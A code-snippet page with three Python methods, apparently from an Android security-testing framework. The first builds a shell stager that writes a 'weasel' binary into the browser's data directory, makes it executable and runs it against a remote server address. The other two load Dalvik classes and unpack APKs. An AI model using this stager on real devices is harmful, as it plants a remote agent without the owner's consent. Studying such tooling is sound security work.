示例#1
0
 def generate(self, arguments):
     self.format = "R"   # we only support RAW format
     
     architecture = "armeabi"
     if arguments.working_directory != None:
         directory = arguments.working_directory
     elif self.__exploit != None:
         directory = self.__exploit.working_directory
     else:
         directory = "/data/data/com.android.browser"
     weasel = Configuration.library(os.path.join("weasel", architecture))
     
     self.append(self.hexifyString("cd %s\n" % directory))
     self.append(self.hexifyString("/system/bin/rm w\n"))
     self.append(self.hexifyString("echo -e \"%s\" > w\n" % "".join(map(lambda b: "\\0%.3o" % ord(b), fs.read(weasel)))))
     self.append(self.hexifyString("/system/bin/chmod 770 w\n"))
     self.append(self.hexifyString("./w %s %d\n" % arguments.server))
示例#2
0
 def loadClass(self, source, klass, relative_to=None):
     """
     Load a Class from a local apk file (source) on the running Dalvik VM.
     """
     
     if relative_to == None:
         relative_to = os.path.join(os.path.dirname(__file__), "..")
     elif relative_to.find(".py") >= 0 or relative_to.find(".pyc") >= 0:
         relative_to = os.path.dirname(relative_to)
     
     if not Module.cached_klass(".".join([source, klass])):
         loader = utils.ClassLoader(source, self.__get_cache_path(), self.__get_constructor(), self.klass('java.lang.ClassLoader').getSystemClassLoader(), relative_to=relative_to)
         loader.android_path = Configuration.library("android.jar")
         loader.dx_path = Configuration.executable("dx")
         loader.javac_path = Configuration.executable("javac")
         
         Module.cache_klass(".".join([source, klass]), loader.loadClass(klass))
         
     return Module.get_cached_klass(".".join([source, klass]))
示例#3
0
 def unpack(self, name):
     if self._execute([self.__java, "-jar", self.__apk_tool, "-q", "decode", Configuration.library(name + ".apk"), self.source_dir()]) != 0:
         raise RuntimeError("could not unpack " + name)